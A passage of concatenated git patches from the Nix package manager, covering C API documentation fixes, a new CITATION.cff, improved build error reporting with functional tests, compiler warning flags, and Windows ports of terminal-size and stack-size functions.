doc/external-api/README.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/doc/external-api/README.md b/doc/external-api/README.md index 167c02199..d3581d207 100644 --- a/doc/external-api/README.md +++ b/doc/external-api/README.md @@ -46,9 +46,9 @@ Nix expression `builtins.nixVersion`. // NOTE: This example lacks all error handling. Production code must check for // errors, as some return values will be undefined. -void my_get_string_cb(const char * start, unsigned int n, char ** user_data) +void my_get_string_cb(const char * start, unsigned int n, void * user_data) { - *user_data = strdup(start); + *((char **) user_data) = strdup(start); } int main() @@ -63,7 +63,7 @@ int main() nix_value_force(NULL, state, value); char * version; - nix_get_string(NULL, value, my_get_string_cb, version); + nix_get_string(NULL, value, my_get_string_cb, &version); printf("Nix version: %s\n", version); free(version); From 359043ed0db8ba55284a62b370dc44157a4fe723 Mon Sep 17 00:00:00 2001 From: Philipp Zander Date: Tue, 30 Apr 2024 18:11:01 +0200 Subject: [PATCH 0611/1251] add missing c api parameter names to documentation --- src/libexpr-c/nix_api_external.h | 4 ++-- src/libstore-c/nix_api_store.h | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/src/libexpr-c/nix_api_external.h b/src/libexpr-c/nix_api_external.h index 12ea00407..a52346da9 100644 --- a/src/libexpr-c/nix_api_external.h +++ b/src/libexpr-c/nix_api_external.h @@ -136,7 +136,7 @@ typedef struct NixCExternalValueDesc * or setting it to the empty string, will make the conversion throw an error. */ void (*printValueAsJSON)( - void * self, EvalState *, bool strict, nix_string_context * c, bool copyToStore, nix_string_return * res); + void * self, EvalState * state, bool strict, nix_string_context * c, bool copyToStore, nix_string_return * res); /** * @brief Convert the external value to XML * @@ -155,7 +155,7 @@ typedef struct NixCExternalValueDesc */ void (*printValueAsXML)( void * self, - EvalState *, + EvalState * state, int strict, int location, void * doc, diff --git a/src/libstore-c/nix_api_store.h b/src/libstore-c/nix_api_store.h index 209f91f0d..baa53ef09 100644 --- a/src/libstore-c/nix_api_store.h +++ b/src/libstore-c/nix_api_store.h @@ -63,7 +63,7 @@ nix_err nix_init_plugins(nix_c_context * context); * @return a Store pointer, NULL in case of errors * @see nix_store_free */ -Store * nix_store_open(nix_c_context *, const char * uri, const char *** params); +Store * nix_store_open(nix_c_context * context, const char * uri, const char *** params); /** * @brief Deallocate a nix store and free any resources if not also held by other Store instances. From f63292462c5cfd89d718c71a2a345bc0413a3de8 Mon Sep 17 00:00:00 2001 From: Philipp Zander Date: Tue, 30 Apr 2024 18:13:52 +0200 Subject: [PATCH 0612/1251] document `nix_external_print`'s `printer` parameter to be an out parameter --- src/libexpr-c/nix_api_external.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/libexpr-c/nix_api_external.h b/src/libexpr-c/nix_api_external.h index a52346da9..6c524b975 100644 --- a/src/libexpr-c/nix_api_external.h +++ b/src/libexpr-c/nix_api_external.h @@ -48,7 +48,7 @@ void nix_set_string_return(nix_string_return * str, const char * c); * Print to the nix_printer * * @param[out] context Optional, stores error information - * @param printer The nix_printer to print to + * @param[out] printer The nix_printer to print to * @param[in] str The string to print * @returns NIX_OK if everything worked */ From c66796d4604ba97cb6a7f63286ffd38d223936ac Mon Sep 17 00:00:00 2001 From: fidgetingbits Date: Fri, 17 May 2024 08:38:57 +0800 Subject: [PATCH 0613/1251] fix typo in testing documentation --- doc/manual/src/contributing/testing.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/doc/manual/src/contributing/testing.md b/doc/manual/src/contributing/testing.md index 607914ba3..88b3c5cd9 100644 --- a/doc/manual/src/contributing/testing.md +++ b/doc/manual/src/contributing/testing.md @@ -60,7 +60,7 @@ The unit tests are defined using the [googletest] and [rapidcheck] frameworks. > ``` The tests for each Nix library (`libnixexpr`, `libnixstore`, etc..) live inside a directory `tests/unit/${library_name_without-nix}`. -Given a interface (header) and implementation pair in the original library, say, `src/libexpr/value/context.{hh,cc}`, we write tests for it in `tests/unit/libexpr/tests/value/context.cc`, and (possibly) declare/define additional interfaces for testing purposes in `tests/unit/libexpr-support/tests/value/context.{hh,cc}`. +Given an interface (header) and implementation pair in the original library, say, `src/libexpr/value/context.{hh,cc}`, we write tests for it in `tests/unit/libexpr/tests/value/context.cc`, and (possibly) declare/define additional interfaces for testing purposes in `tests/unit/libexpr-support/tests/value/context.{hh,cc}`. Data for unit tests is stored in a `data` subdir of the directory for each unit test executable. For example, `libnixstore` code is in `src/libstore`, and its test data is in `tests/unit/libstore/data`. From a2cb90caba0d3e428bfb778f059e6ea866565ba9 Mon Sep 17 00:00:00 2001 From: Pol Dellaiera Date: Fri, 17 May 2024 17:26:09 +0200 Subject: [PATCH 0614/1251] chore: add `CITATION.cff` file --- CITATION.cff | 31 +++++++++++++++++++++++++++++++ 1 file changed, 31 insertions(+) create mode 100644 CITATION.cff diff --git a/CITATION.cff b/CITATION.cff new file mode 100644 index 000000000..c3366101a --- /dev/null +++ b/CITATION.cff @@ -0,0 +1,31 @@ +# This CITATION.cff file was generated with cffinit. +# Visit https://bit.ly/cffinit to generate yours today! + +cff-version: 1.2.0 +title: Nix +message: >- + If you use this software, please cite it using the + metadata from this file. +type: software +authors: + - given-names: Eelco + family-names: Dolstra + email: edolstra@gmail.com + - name: The Nix contributors + website: 'https://github.com/NixOS/nix' +identifiers: + - type: url + value: 'https://edolstra.github.io/pubs/phd-thesis.pdf' + description: PHD Thesis +repository-code: 'https://github.com/NixOS/nix' +url: 'https://nixos.org/' +abstract: >- + Nix, a purely functional package manager, is a powerful + package manager for Linux and other Unix systems that + makes package management reliable and reproducible. +keywords: + - reproducibility + - open-source + - c++ + - functional +license: LGPL-2.1 From 979a019014569eee7d0071605f6ff500b544f6ac Mon Sep 17 00:00:00 2001 From: Alyssa Ross Date: Fri, 17 May 2024 18:18:38 +0200 Subject: [PATCH 0615/1251] Improve nix-store --delete failure message On several occasions I've found myself confused when trying to delete a store path, because I am told it's still alive, but nix-store --query --roots doesn't show anything. Let's save future users this confusion by mentioning that a path might be alive due to having referrers, not just roots. --- src/libstore/gc.cc | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/libstore/gc.cc b/src/libstore/gc.cc index 8286dff27..d3fa88f59 100644 --- a/src/libstore/gc.cc +++ b/src/libstore/gc.cc @@ -781,7 +781,7 @@ void LocalStore::collectGarbage(const GCOptions & options, GCResults & results) throw Error( "Cannot delete path '%1%' since it is still alive. " "To find out why, use: " - "nix-store --query --roots", + "nix-store --query --roots and nix-store --query --referrers", printStorePath(i)); } From 19720d733fb8c8a34f05ccf83cc4b67bf8ed4fe1 Mon Sep 17 00:00:00 2001 From: Maximilian Bosch Date: Mon, 13 May 2024 20:58:54 +0200 Subject: [PATCH 0616/1251] nix3-build: show all FOD errors with `--keep-going` MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Basically I'd expect the same behavior as with `nix-build`, i.e. with `--keep-going` the hash-mismatch error of each failing fixed-output derivation is shown. The approach is derived from `Store::buildPaths` (`entry-point.cc`): instead of throwing the first build-result, check if there are any build errors and if so, display all of them and throw after that. Unfortunately, the BuildResult struct doesn't have an `ErrorInfo` (there's a FIXME for that at least), so I have to construct my own here. This is a rather cheap bugfix and I decided against touching too many parts of libstore for that (also I don't know if that's in line with the ongoing refactoring work). Closes https://git.lix.systems/lix-project/lix/issues/302 Change-Id: I378ab984fa271e6808c6897c45e0f070eb4c6fac Signed-off-by: Jörg Thalheim --- doc/manual/rl-next/consistent-nix-build.md | 6 ++++ src/libcmd/installables.cc | 38 ++++++++++++++++++--- tests/functional/build.sh | 32 ++++++++++++++++++ tests/functional/fod-failing.nix | 39 ++++++++++++++++++++++ 4 files changed, 111 insertions(+), 4 deletions(-) create mode 100644 doc/manual/rl-next/consistent-nix-build.md create mode 100644 tests/functional/fod-failing.nix diff --git a/doc/manual/rl-next/consistent-nix-build.md b/doc/manual/rl-next/consistent-nix-build.md new file mode 100644 index 000000000..d5929dc8e --- /dev/null +++ b/doc/manual/rl-next/consistent-nix-build.md @@ -0,0 +1,6 @@ +--- +synopsis: Show all FOD errors with `nix build --keep-going` +--- + +`nix build --keep-going` now behaves consistently with `nix-build --keep-going`. This means +that if e.g. multiple FODs fail to build, all hash mismatches are displayed. diff --git a/src/libcmd/installables.cc b/src/libcmd/installables.cc index 43e312540..6835c512c 100644 --- a/src/libcmd/installables.cc +++ b/src/libcmd/installables.cc @@ -601,6 +601,37 @@ std::vector Installable::build( return res; } +static void throwBuildErrors( + std::vector & buildResults, + const Store & store) +{ + std::vector failed; + for (auto & buildResult : buildResults) { + if (!buildResult.success()) { + failed.push_back(buildResult); + } + } + + auto failedResult = failed.begin(); + if (failedResult != failed.end()) { + if (failed.size() == 1) { + failedResult->rethrow(); + } else { + StringSet failedPaths; + for (; failedResult != failed.end(); failedResult++) { + if (!failedResult->errorMsg.empty()) { + logError(ErrorInfo{ + .level = lvlError, + .msg = failedResult->errorMsg, + }); + } + failedPaths.insert(failedResult->path.to_string(store)); + } + throw Error("build of %s failed", concatStringsSep(", ", quoteStrings(failedPaths))); + } + } +} + std::vector, BuiltPathWithResult>> Installable::build2( ref evalStore, ref store, @@ -662,10 +693,9 @@ std::vector, BuiltPathWithResult>> Installable::build if (settings.printMissing) printMissing(store, pathsToBuild, lvlInfo); - for (auto & buildResult : store->buildPathsWithResults(pathsToBuild, bMode, evalStore)) { - if (!buildResult.success()) - buildResult.rethrow(); - + auto buildResults = store->buildPathsWithResults(pathsToBuild, bMode, evalStore); + throwBuildErrors(buildResults, *store); + for (auto & buildResult : buildResults) { for (auto & aux : backmap[buildResult.path]) { std::visit(overloaded { [&](const DerivedPath::Built & bfd) { diff --git a/tests/functional/build.sh b/tests/functional/build.sh index 7fbdb0f07..95a20dc6a 100644 --- a/tests/functional/build.sh +++ b/tests/functional/build.sh @@ -133,3 +133,35 @@ nix build --impure -f multiple-outputs.nix --json e --no-link | jq --exit-status # Make sure that `--stdin` works and does not apply any defaults printf "" | nix build --no-link --stdin --json | jq --exit-status '. == []' printf "%s\n" "$drv^*" | nix build --no-link --stdin --json | jq --exit-status '.[0]|has("drvPath")' + +# --keep-going and FOD +out="$(nix build -f fod-failing.nix -L 2>&1)" && status=0 || status=$? +test "$status" = 1 +# one "hash mismatch" error, one "build of ... failed" +test "$(<<<"$out" grep -E '^error:' | wc -l)" = 2 +<<<"$out" grepQuiet -E "hash mismatch in fixed-output derivation '.*-x1\\.drv'" +<<<"$out" grepQuiet -vE "hash mismatch in fixed-output derivation '.*-x3\\.drv'" +<<<"$out" grepQuiet -vE "hash mismatch in fixed-output derivation '.*-x2\\.drv'" +<<<"$out" grepQuiet -E "error: build of '.*-x[1-4]\\.drv\\^out', '.*-x[1-4]\\.drv\\^out', '.*-x[1-4]\\.drv\\^out', '.*-x[1-4]\\.drv\\^out' failed" + +out="$(nix build -f fod-failing.nix -L x1 x2 x3 --keep-going 2>&1)" && status=0 || status=$? +test "$status" = 1 +# three "hash mismatch" errors - for each failing fod, one "build of ... failed" +test "$(<<<"$out" grep -E '^error:' | wc -l)" = 4 +<<<"$out" grepQuiet -E "hash mismatch in fixed-output derivation '.*-x1\\.drv'" +<<<"$out" grepQuiet -E "hash mismatch in fixed-output derivation '.*-x3\\.drv'" +<<<"$out" grepQuiet -E "hash mismatch in fixed-output derivation '.*-x2\\.drv'" +<<<"$out" grepQuiet -E "error: build of '.*-x[1-3]\\.drv\\^out', '.*-x[1-3]\\.drv\\^out', '.*-x[1-3]\\.drv\\^out' failed" + +out="$(nix build -f fod-failing.nix -L x4 2>&1)" && status=0 || status=$? +test "$status" = 1 +test "$(<<<"$out" grep -E '^error:' | wc -l)" = 2 +<<<"$out" grepQuiet -E "error: 1 dependencies of derivation '.*-x4\\.drv' failed to build" +<<<"$out" grepQuiet -E "hash mismatch in fixed-output derivation '.*-x2\\.drv'" + +out="$(nix build -f fod-failing.nix -L x4 --keep-going 2>&1)" && status=0 || status=$? +test "$status" = 1 +test "$(<<<"$out" grep -E '^error:' | wc -l)" = 3 +<<<"$out" grepQuiet -E "error: 2 dependencies of derivation '.*-x4\\.drv' failed to build" +<<<"$out" grepQuiet -vE "hash mismatch in fixed-output derivation '.*-x3\\.drv'" +<<<"$out" grepQuiet -vE "hash mismatch in fixed-output derivation '.*-x2\\.drv'" diff --git a/tests/functional/fod-failing.nix b/tests/functional/fod-failing.nix new file mode 100644 index 000000000..37c04fe12 --- /dev/null +++ b/tests/functional/fod-failing.nix @@ -0,0 +1,39 @@ +with import ./config.nix; +rec { + x1 = mkDerivation { + name = "x1"; + builder = builtins.toFile "builder.sh" + '' + echo $name > $out + ''; + outputHashMode = "recursive"; + outputHash = "sha256-AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="; + }; + x2 = mkDerivation { + name = "x2"; + builder = builtins.toFile "builder.sh" + '' + echo $name > $out + ''; + outputHashMode = "recursive"; + outputHash = "sha256-AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="; + }; + x3 = mkDerivation { + name = "x3"; + builder = builtins.toFile "builder.sh" + '' + echo $name > $out + ''; + outputHashMode = "recursive"; + outputHash = "sha256-AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="; + }; + x4 = mkDerivation { + name = "x4"; + inherit x2 x3; + builder = builtins.toFile "builder.sh" + '' + echo $x2 $x3 + exit 1 + ''; + }; +} From 52a16b7e5981fbb3e1b8eac8404b17350b2623c0 Mon Sep 17 00:00:00 2001 From: Qyriad Date: Wed, 8 May 2024 18:50:03 -0600 Subject: [PATCH 0617/1251] add and fix -Wdeprecated-copy MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit *so* many warnings, from only two definitions Change-Id: If2561cd500c05a1e33cce984faf9f3e42a8a95ac Signed-off-by: Jörg Thalheim --- Makefile | 2 +- src/libutil/fmt.hh | 2 ++ src/libutil/ref.hh | 2 ++ 3 files changed, 5 insertions(+), 1 deletion(-) diff --git a/Makefile b/Makefile index ea0754fa5..cb6eeb573 100644 --- a/Makefile +++ b/Makefile @@ -98,7 +98,7 @@ ifdef HOST_WINDOWS GLOBAL_LDFLAGS += -Wl,--export-all-symbols endif -GLOBAL_CXXFLAGS += -g -Wall -Wimplicit-fallthrough -include $(buildprefix)config.h -std=c++2a -I src +GLOBAL_CXXFLAGS += -g -Wall -Wdeprecated-copy -Wimplicit-fallthrough -include $(buildprefix)config.h -std=c++2a -I src # Include the main lib, causing rules to be defined diff --git a/src/libutil/fmt.hh b/src/libutil/fmt.hh index c178257d4..ef44a8409 100644 --- a/src/libutil/fmt.hh +++ b/src/libutil/fmt.hh @@ -182,6 +182,8 @@ public: return *this; } + HintFmt & operator=(HintFmt const & rhs) = default; + std::string str() const { return fmt.str(); diff --git a/src/libutil/ref.hh b/src/libutil/ref.hh index 5d0c3696d..03aa64273 100644 --- a/src/libutil/ref.hh +++ b/src/libutil/ref.hh @@ -77,6 +77,8 @@ public: return ref((std::shared_ptr) p); } + ref & operator=(ref const & rhs) = default; + bool operator == (const ref & other) const { return p == other.p; From 05bc889b893c7c37994a3c7d869e222994bcdc73 Mon Sep 17 00:00:00 2001 From: Qyriad Date: Thu, 9 May 2024 07:00:51 -0600 Subject: [PATCH 0618/1251] add and fix -Wignored-qualifiers MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Change-Id: I4bffa766ae04dd80355f9b8c10e59700e4b406da Signed-off-by: Jörg Thalheim --- Makefile | 2 +- src/libfetchers/tarball.cc | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/Makefile b/Makefile index cb6eeb573..6c96ef5db 100644 --- a/Makefile +++ b/Makefile @@ -98,7 +98,7 @@ ifdef HOST_WINDOWS GLOBAL_LDFLAGS += -Wl,--export-all-symbols endif -GLOBAL_CXXFLAGS += -g -Wall -Wdeprecated-copy -Wimplicit-fallthrough -include $(buildprefix)config.h -std=c++2a -I src +GLOBAL_CXXFLAGS += -g -Wall -Wdeprecated-copy -Wignored-qualifiers -Wimplicit-fallthrough -include $(buildprefix)config.h -std=c++2a -I src # Include the main lib, causing rules to be defined diff --git a/src/libfetchers/tarball.cc b/src/libfetchers/tarball.cc index d03ff82ce..5de367052 100644 --- a/src/libfetchers/tarball.cc +++ b/src/libfetchers/tarball.cc @@ -202,7 +202,7 @@ struct CurlInputScheme : InputScheme { const std::set transportUrlSchemes = {"file", "http", "https"}; - const bool hasTarballExtension(std::string_view path) const + bool hasTarballExtension(std::string_view path) const { return hasSuffix(path, ".zip") || hasSuffix(path, ".tar") || hasSuffix(path, ".tgz") || hasSuffix(path, ".tar.gz") From a5de384cffe5bedb0a83361242de9a6480a1e6c0 Mon Sep 17 00:00:00 2001 From: Lorenz Leutgeb Date: Sat, 18 May 2024 19:47:18 +0200 Subject: [PATCH 0619/1251] chore: PhD thesis as reference in `CITATION.cff` --- CITATION.cff | 25 ++++++++++++++++++------- 1 file changed, 18 insertions(+), 7 deletions(-) diff --git a/CITATION.cff b/CITATION.cff index c3366101a..0105fb823 100644 --- a/CITATION.cff +++ b/CITATION.cff @@ -1,6 +1,3 @@ -# This CITATION.cff file was generated with cffinit. -# Visit https://bit.ly/cffinit to generate yours today! - cff-version: 1.2.0 title: Nix message: >- @@ -13,10 +10,24 @@ authors: email: edolstra@gmail.com - name: The Nix contributors website: 'https://github.com/NixOS/nix' -identifiers: - - type: url - value: 'https://edolstra.github.io/pubs/phd-thesis.pdf' - description: PHD Thesis +references: + - title: The Purely Functional Software Deployment Model + authors: + - family-names: Dolstra + given-names: Eelco + year: 2006 + type: thesis + thesis-type: PhD thesis + isbn: 90-393-4130-3 + url: https://dspace.library.uu.nl/handle/1874/7540 + database-provider: Utrecht University Repository + institution: + name: Utrecht University + keywords: + - configuration management + - software deployment + - purely functional + - component-based software engineering repository-code: 'https://github.com/NixOS/nix' url: 'https://nixos.org/' abstract: >- From 53f0c44d6c4cacd0444c9f0d72e97eb2a76251f6 Mon Sep 17 00:00:00 2001 From: PoweredByPie Date: Sat, 18 May 2024 16:05:14 -0700 Subject: [PATCH 0620/1251] Implement `updateWindowSize` for Windows --- src/libutil/terminal.cc | 15 +++++++++++++-- src/libutil/terminal.hh | 4 ---- 2 files changed, 13 insertions(+), 6 deletions(-) diff --git a/src/libutil/terminal.cc b/src/libutil/terminal.cc index 4dc280f8c..5d5ff7dcb 100644 --- a/src/libutil/terminal.cc +++ b/src/libutil/terminal.cc @@ -4,6 +4,8 @@ #if _WIN32 # include +# define WIN32_LEAN_AND_MEAN +# include # define isatty _isatty #else # include @@ -97,17 +99,26 @@ std::string filterANSIEscapes(std::string_view s, bool filterAll, unsigned int w static Sync> windowSize{{0, 0}}; -#ifndef _WIN32 void updateWindowSize() { + #ifndef _WIN32 struct winsize ws; if (ioctl(2, TIOCGWINSZ, &ws) == 0) { auto windowSize_(windowSize.lock()); windowSize_->first = ws.ws_row; windowSize_->second = ws.ws_col; } + #else + CONSOLE_SCREEN_BUFFER_INFO info; + // From https://stackoverflow.com/a/12642749 + if (GetConsoleScreenBufferInfo(GetStdHandle(STD_OUTPUT_HANDLE), &info) != 0) { + auto windowSize_(windowSize.lock()); + // From https://github.com/libuv/libuv/blob/v1.48.0/src/win/tty.c#L1130 + windowSize_->first = info.srWindow.Bottom - info.srWindow.Top + 1; + windowSize_->second = info.dwSize.X; + } + #endif } -#endif std::pair getWindowSize() diff --git a/src/libutil/terminal.hh b/src/libutil/terminal.hh index 628833283..9d8d0c743 100644 --- a/src/libutil/terminal.hh +++ b/src/libutil/terminal.hh @@ -21,16 +21,12 @@ std::string filterANSIEscapes(std::string_view s, bool filterAll = false, unsigned int width = std::numeric_limits::max()); -#ifndef _WIN32 - /** * Recalculate the window size, updating a global variable. Used in the * `SIGWINCH` signal handler. */ void updateWindowSize(); -#endif - /** * @return the number of rows and columns of the terminal. * From e42d00c961ad948c80c27f49d58316a7eae5e728 Mon Sep 17 00:00:00 2001 From: PoweredByPie Date: Sat, 18 May 2024 04:09:56 -0700 Subject: [PATCH 0621/1251] Change `rlim_t` to `size_t` in `setStackSize` in preparation of Windows impl --- src/libutil/current-process.cc | 6 +++--- src/libutil/current-process.hh | 2 +- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/src/libutil/current-process.cc b/src/libutil/current-process.cc index c88013b3c..b252bd4d0 100644 --- a/src/libutil/current-process.cc +++ b/src/libutil/current-process.cc @@ -60,14 +60,14 @@ unsigned int getMaxCPU() #ifndef _WIN32 -rlim_t savedStackSize = 0; +size_t savedStackSize = 0; -void setStackSize(rlim_t stackSize) +void setStackSize(size_t stackSize) { struct rlimit limit; if (getrlimit(RLIMIT_STACK, &limit) == 0 && limit.rlim_cur < stackSize) { savedStackSize = limit.rlim_cur; - limit.rlim_cur = std::min(stackSize, limit.rlim_max); + limit.rlim_cur = std::min(static_cast(stackSize), limit.rlim_max); if (setrlimit(RLIMIT_STACK, &limit) != 0) { logger->log( lvlError, diff --git a/src/libutil/current-process.hh b/src/libutil/current-process.hh index a5adb70cf..8db4ada0d 100644 --- a/src/libutil/current-process.hh +++ b/src/libutil/current-process.hh @@ -21,7 +21,7 @@ unsigned int getMaxCPU(); /** * Change the stack size. */ -void setStackSize(rlim_t stackSize); +void setStackSize(size_t stackSize); #endif /** From 6a3f906382342f05cfe9254f8e0d1c4b01ad9ad5 Mon Sep 17 00:00:00 2001 From: PoweredByPie Date: Sat, 18 May 2024 04:27:09 -0700 Subject: [PATCH 0622/1251] Implement `setStackSize` for Windows --- src/libutil/current-process.cc | 23 +++++++++++++++++++++-- src/libutil/current-process.hh | 2 -- 2 files changed, 21 insertions(+), 4 deletions(-) diff --git a/src/libutil/current-process.cc b/src/libutil/current-process.cc index b252bd4d0..db3111560 100644 --- a/src/libutil/current-process.cc +++ b/src/libutil/current-process.cc @@ -59,11 +59,11 @@ unsigned int getMaxCPU() ////////////////////////////////////////////////////////////////////// -#ifndef _WIN32 size_t savedStackSize = 0; void setStackSize(size_t stackSize) { + #ifndef _WIN32 struct rlimit limit; if (getrlimit(RLIMIT_STACK, &limit) == 0 && limit.rlim_cur < stackSize) { savedStackSize = limit.rlim_cur; @@ -81,8 +81,27 @@ void setStackSize(size_t stackSize) ); } } + #else + ULONG currStackSize = 0; + // This retrieves the current promised stack size + SetThreadStackGuarantee(&currStackSize); + if (currStackSize < stackSize) { + savedStackSize = currStackSize; + ULONG newStackSize = stackSize; + if (SetThreadStackGuarantee(&newStackSize) == 0) { + logger->log( + lvlError, + HintFmt( + "Failed to increase stack size from %1% to %2%: %3%", + savedStackSize, + stackSize, + std::to_string(GetLastError()) + ).str() + ); + } + } + #endif } -#endif void restoreProcessContext(bool restoreMounts) { diff --git a/src/libutil/current-process.hh b/src/libutil/current-process.hh index 8db4ada0d..8286bf89d 100644 --- a/src/libutil/current-process.hh +++ b/src/libutil/current-process.hh @@ -17,12 +17,10 @@ namespace nix { */ unsigned int getMaxCPU(); -#ifndef _WIN32 // TODO implement on Windows, if needed. /** * Change the stack size. */ void setStackSize(size_t stackSize); -#endif /** * Restore the original inherited Unix process context (such as signal From a41f4223de5123d90264f2eb9843f218153c59fb Mon Sep 17 00:00:00 2001 From: PoweredByPie Date: Sat, 18 May 2024 06:44:52 -0700 Subject: [PATCH 0623/1251] Use setStackSize on Windows --- src/nix/main.cc | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/src/nix/main.cc b/src/nix/main.cc index bc13a4df5..d3f3324ac 100644 --- a/src/nix/main.cc +++ b/src/nix/main.cc @@ -522,10 +522,13 @@ void mainWrapped(int argc, char * * argv) int main(int argc, char * * argv) { -#ifndef _WIN32 // TODO implement on Windows +#ifndef _WIN32 // Increase the default stack size for the evaluator and for // libstdc++'s std::regex. nix::setStackSize(64 * 1024 * 1024); +#else + // Windows' default stack reservation is 1 MB, going over will fail + nix::setStackSize(1 * 1024 * 1024); #endif return nix::handleExceptions(argv[0], [&]() { From e0bfa6c55fbf1e275419b0ca98902781ffa9fa0d Mon Sep 17 00:00:00 2001 From: Philipp Date: Mon, 20 May 2024 08:27:33 +0200 Subject: [PATCH 0624/1251] small additions to the documentation of `nix_store_open` and `nix_state_create` (#10728) --- src/libexpr-c/nix_api_expr.h | 2 +- src/libstore-c/nix_api_store.h | 8 +++++--- 2 files changed, 6 insertions(+), 4 deletions(-) diff --git a/src/libexpr-c/nix_api_expr.h b/src/libexpr-c/nix_api_expr.h index 04fc92f0f..ab7f50384 100644 --- a/src/libexpr-c/nix_api_expr.h +++ b/src/libexpr-c/nix_api_expr.h @@ -140,7 +140,7 @@ nix_err nix_value_force_deep(nix_c_context * context, EvalState * state, Value * * @brief Create a new Nix language evaluator state. * * @param[out] context Optional, stores error information - * @param[in] lookupPath Array of strings corresponding to entries in NIX_PATH. + * @param[in] lookupPath Null-terminated array of strings corresponding to entries in NIX_PATH. * @param[in] store The Nix store to use. * @return A new Nix state or NULL on failure. */ diff --git a/src/libstore-c/nix_api_store.h b/src/libstore-c/nix_api_store.h index baa53ef09..e9441be1a 100644 --- a/src/libstore-c/nix_api_store.h +++ b/src/libstore-c/nix_api_store.h @@ -57,9 +57,11 @@ nix_err nix_init_plugins(nix_c_context * context); * @brief Open a nix store * Store instances may share state and resources behind the scenes. * @param[out] context Optional, stores error information - * @param[in] uri URI of the nix store, copied - * @param[in] params optional, array of key-value pairs, {{"endpoint", - * "https://s3.local"}} + * @param[in] uri URI of the Nix store, copied. See [*Store URL format* in the Nix Reference + * Manual](https://nixos.org/manual/nix/stable/store/types/#store-url-format). + * @param[in] params optional, null-terminated array of key-value pairs, e.g. {{"endpoint", + * "https://s3.local"}}. See [*Store Types* in the Nix Reference + * Manual](https://nixos.org/manual/nix/stable/store/types). * @return a Store pointer, NULL in case of errors * @see nix_store_free */ From 209d75529caaaf82a760056fc60156b9153af5c8 Mon Sep 17 00:00:00 2001 From: Valentin Gagarin Date: Mon, 20 May 2024 08:28:35 +0200 Subject: [PATCH 0625/1251] reword documentation on `nix-store --export` (#10713) - add links to definitions of terms - one sentence per line - be more specific about which store is used for the import - clearly distinguish store paths and store objects - make a recommendation to use `nix-copy-closure` for efficient SSH transfers --- .../src/command-ref/nix-store/export.md | 22 +++++++++++-------- 1 file changed, 13 insertions(+), 9 deletions(-) diff --git a/doc/manual/src/command-ref/nix-store/export.md b/doc/manual/src/command-ref/nix-store/export.md index ba51ff5f6..ba772eb43 100644 --- a/doc/manual/src/command-ref/nix-store/export.md +++ b/doc/manual/src/command-ref/nix-store/export.md @@ -8,16 +8,20 @@ ## Description -The operation `--export` writes a serialisation of the specified store -paths to standard output in a format that can be imported into another -Nix store with `nix-store --import`. This is like `nix-store ---dump`, except that the [Nix Archive (NAR)][Nix Archive] produced by that command doesn’t -contain the necessary meta-information to allow it to be imported into -another Nix store (namely, the set of references of the path). +The operation `--export` writes a serialisation of the given [store objects](@docroot@/glossary.md#gloss-store-object) to standard output in a format that can be imported into another [Nix store](@docroot@/store/index.md) with [`nix-store --import`](./import.md). -This command does not produce a *closure* of the specified paths, so if -a store path references other store paths that are missing in the target -Nix store, the import will fail. +> **Warning** +> +> This command *does not* produce a [closure](@docroot@/glossary.md#gloss-closure) of the specified store paths. +> Trying to import a store object that refers to store paths not available in the target Nix store will fail. +> +> Use [`nix-store --query`](@docroot@/command-ref/nix-store/query.md) to obtain the closure of a store path. + +This command is different from [`nix-store --dump`](./dump.md), which produces a [Nix archive](@docroot@/glossary.md#gloss-nar) that *does not* contain the set of [references](@docroot@/glossary.md#gloss-reference) of a given store path. + +> **Note** +> +> For efficient transfer of closures to remote machines over SSH, use [`nix-copy-closure`](@docroot@/command-ref/nix-copy-closure.md). [Nix Archive]: @docroot@/store/file-system-object/content-address.md#serial-nix-archive From 927034e7acd3dd993c5cea189922f5d8050a65fe Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Mon, 20 May 2024 10:25:04 +0200 Subject: [PATCH 0626/1251] value.hh: Shut up warning about useless const qualifier --- src/libexpr/value.hh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/libexpr/value.hh b/src/libexpr/value.hh index 61cf2d310..208cab21d 100644 --- a/src/libexpr/value.hh +++ b/src/libexpr/value.hh @@ -449,7 +449,7 @@ public: return std::string_view(payload.string.c_str); } - const char * const c_str() const + const char * c_str() const { assert(internalType == tString); return payload.string.c_str; From d48bbda2e702879b2296b897ec805167af178ebc Mon Sep 17 00:00:00 2001 From: John Ericson Date: Mon, 20 May 2024 08:34:49 -0400 Subject: [PATCH 0627/1251] Update the `updateWindowSize` documentation --- src/libutil/terminal.hh | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/src/libutil/terminal.hh b/src/libutil/terminal.hh index 9d8d0c743..902e75945 100644 --- a/src/libutil/terminal.hh +++ b/src/libutil/terminal.hh @@ -22,8 +22,9 @@ std::string filterANSIEscapes(std::string_view s, unsigned int width = std::numeric_limits::max()); /** - * Recalculate the window size, updating a global variable. Used in the - * `SIGWINCH` signal handler. + * Recalculate the window size, updating a global variable. + * + * Used in the `SIGWINCH` signal handler on Unix, for example. */ void updateWindowSize(); From 1c75af969a1ed0df63885c691863b8fee798cd4e Mon Sep 17 00:00:00 2001 From: John Ericson Date: Tue, 9 Apr 2024 17:07:39 -0400 Subject: [PATCH 0628/1251] Document store object content addressing & improve JSON format The JSON format no longer uses the legacy ATerm `r:` prefixing nonsese, but separate fields. Progress on #9866 Co-authored-by: Robert Hensing --- doc/manual/rl-next/derivation-json-change.md | 12 ++ doc/manual/src/SUMMARY.md.in | 1 + 